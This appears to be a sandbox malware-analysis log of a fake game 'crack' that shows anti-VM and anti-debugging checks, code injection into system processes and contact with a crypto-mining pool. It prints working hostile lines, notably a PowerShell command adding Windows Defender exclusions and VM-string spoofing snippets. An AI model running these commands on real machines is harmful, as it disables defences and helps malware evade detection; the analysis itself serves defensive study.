Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\svchost.exe

Code function: 48_2_0000022C35FDBE3C FindFirstFileExW,

48_2_0000022C35FDBE3C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 35_2_00007FFEB86F3F00 GetSystemInfo,

35_2_00007FFEB86F3F00

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000044.00000000.1998658017.000002AB7CC43000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmci
Source: svchost.exe, 00000044.00000003.2160988968.000002AB7D739000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000037.00000000.1916138461.0000029BC7A2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: svchost.exe, 00000044.00000000.2039802082.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD00
Source: svchost.exe, 00000044.00000000.2039802082.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 00000002.00000002.1632948787.0000024C9F45D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1627643099.0000024C99C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.2031499093.0000023F7BC59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000007B.00000000.2383921267.0000014DE2102000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: &VBoxService.exe
Source: powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F1C8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000044.00000003.2186175863.000002AB7D802000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: svchost.exe, 00000044.00000000.2128247856.000002AB7DF9F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: dwm.exe, 0000002B.00000000.1658698358.0000028F87CBB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000044.00000000.2140980895.000002AB7F0A5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: svchost.exe, 00000044.00000000.2128247856.000002AB7DF9F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 0000007B.00000000.2376499247.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}1e
Source: svchost.exe, 00000044.00000003.2160988968.000002AB7D739000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: cli_gui.exe, 00000012.00000002.1740201914.000002231E97C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: svchost.exe, 00000044.00000003.2186175863.000002AB7D802000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000044.00000000.2036327679.000002AB7D6CC000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmcir:m
Source: svchost.exe, 00000044.00000000.2039802082.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c29cbcceb42671d1430c5a2a776c
Source: svchost.exe, 00000044.00000000.2152238447.000002AB7F1C8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c29cbcceb42671d1430c5a2a776cPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: svchost.exe, 00000044.00000000.2047894396.000002AB7D812000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c29cbcceb42671d1430c5a2a776cPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 0000007B.00000000.2376499247.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000044.00000000.2162085202.000002AB7F2A1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: svchost.exe, 00000044.00000003.2160988968.000002AB7D739000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000044.00000000.2105296060.000002AB7DE12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
Source: svchost.exe, 00000044.00000000.1997844523.000002AB7CC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Microsoft-Windows-Hyper-V-Hypervisoron
Source: svchost.exe, 00000005.00000003.1979530368.000001D13B540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: amd64_microsoft-hyper-v-o..oyment-languagepack_31bf3856ad364e35_10.0.19041.2364_en-gb_c40edee9d3c53460.manifeste
Source: svchost.exe, 00000044.00000000.2128247856.000002AB7DF9F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: svchost.exe, 0000007B.00000000.2383921267.0000014DE2102000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000007B.00000000.2376499247.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000,@
Source: svchost.exe, 00000044.00000000.2128247856.000002AB7DF9F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))
Source: svchost.exe, 0000007B.00000000.2376499247.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000044.00000003.2160988968.000002AB7D739000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LSI_SASVMware Virtual disk 6000c29cbcceb42671d1430c5a2a776c
Source: powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: svchost.exe, 0000007B.00000000.2378762998.0000014DE2040000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: lsass.exe, 00000029.00000000.1639522824.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 0000007B.00000000.2376499247.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000007B.00000000.2378762998.0000014DE2040000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: svchost.exe, 00000044.00000000.2047894396.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: svchost.exe, 00000044.00000000.2047894396.000002AB7D812000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 00000044.00000003.2160988968.000002AB7D739000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: lsass.exe, 00000029.00000000.1638485147.000001BA8DA13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002A.00000000.1648395474.0000012E36413000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000033.00000000.1884573973.000001B3B942B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000034.00000000.1890361057.0000023368624000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000037.00000000.1919382376.0000029BC7A52000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000044.00000000.1998658017.000002AB7CC43000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000056.00000000.2087533797.000001C25522B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000058.00000000.2113408010.00000171ACC2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000005C.00000000.2202812566.000001D50022B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000063.00000000.2247980330.000001EAC5C53000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000006F.00000000.2324171376.0000015221659000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lsass.exe, 00000029.00000000.1639522824.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: svchost.exe, 00000044.00000000.2047894396.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: RVMwareVirtual disk6000c29cbcceb42671d1430c5a2a776c8
Source: svchost.exe, 0000007B.00000000.2382728238.0000014DE206A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: UDFBBSCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: VBoxService.exe
Source: svchost.exe, 0000007B.00000000.2378762998.0000014DE2040000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000HD
Source: svchost.exe, 0000007B.00000000.2376499247.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000073.00000002.2438127530.0000020386559000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: updater.exe, 00000014.00000000.1564458804.00007FF701F3F000.00000008.00000001.01000000.00000009.sdmp	Binary or memory string: o:a[{H}avMCiyiZg~
Source: MemeSense Crack.exe, MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000D61000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: svchost.exe, 00000044.00000000.2039802082.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 00000005.00000003.1979530368.000001D13B540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: amd64_microsoft-hyper-v-o..p-merged-deployment_31bf3856ad364e35_10.0.19041.3393_none_27458da4a7d27ec2.manifestI3
Source: svchost.exe, 00000044.00000000.2128247856.000002AB7DF9F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: MemeSense Crack.exe, MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000D61000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: svchost.exe, 0000002A.00000000.1649210681.0000012E3646A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 0000007B.00000000.2376499247.0000014DE202B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000C1B000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: VMWare
Source: svchost.exe, 0000005A.00000000.2134228204.00000283C5E00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000029.00000000.1639522824.000001BA8DA89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: MemeSense Crack.exe, 00000011.00000002.1587224912.0000000000D61000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: svchost.exe, 00000005.00000003.1979530368.000001D13B540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: amd64_microsoft-hyper-v-p..e-merged-deployment_31bf3856ad364e35_10.0.19041.2728_none_36d790c7b581db9c.manifest
Source: svchost.exe, 00000044.00000000.2039802082.000002AB7D720000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c29cbcceb42671d1430c5a2a776cce
Source: svchost.exe, 00000044.00000000.2047894396.000002AB7D800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: RVMwareVirtual disk6000c29cbcceb42671d1430c5a2a776c0
Source: svchost.exe, 0000002C.00000002.2019035991.0000023F7662B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: svchost.exe, 00000044.00000000.2128247856.000002AB7DF9F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: dwm.exe, 0000002B.00000000.1658698358.0000028F87CBB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Windows\System32\dialer.exe

API call chain: ExitProcess graph end node

graph_34-435

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe

Open window title or class name: ollydbg

Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	File opened: SIWDEBUG
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	File opened: NTICE
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	File opened: SICE

Source: C:\Windows\System32\svchost.exe

Code function: 48_2_0000022C35FD7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

48_2_0000022C35FD7E70

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A517F8 GetProcessHeap,RtlAllocateHeap,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

34_2_00007FF724A517F8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\svchost.exe	Code function: 48_2_0000022C35FD7E70 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		48_2_0000022C35FD7E70
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_0000022C35FDB50C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		48_2_0000022C35FDB50C

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: pool.hashvault.pro

Adds a directory exclusion to Windows Defender

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1C8F78F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 1BA8E920000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 12E36FA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 28F8B0B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22C35FA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B3B9390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23368CB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28B68F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29BC8190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29D50F40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AB7D2C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1C8F7960000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 1BA8E980000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 12E37000000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 28F8B190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B3B9A60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23368D10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28B68F90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29BC8C00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 29D50FA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AB7D2F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E9297D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A183790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D564190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CF6D790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C2551B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 171ACBC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 283C6530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FF39B80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D500190000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257B5780000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EAC63D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20428D60000 protect: page execute and read and write
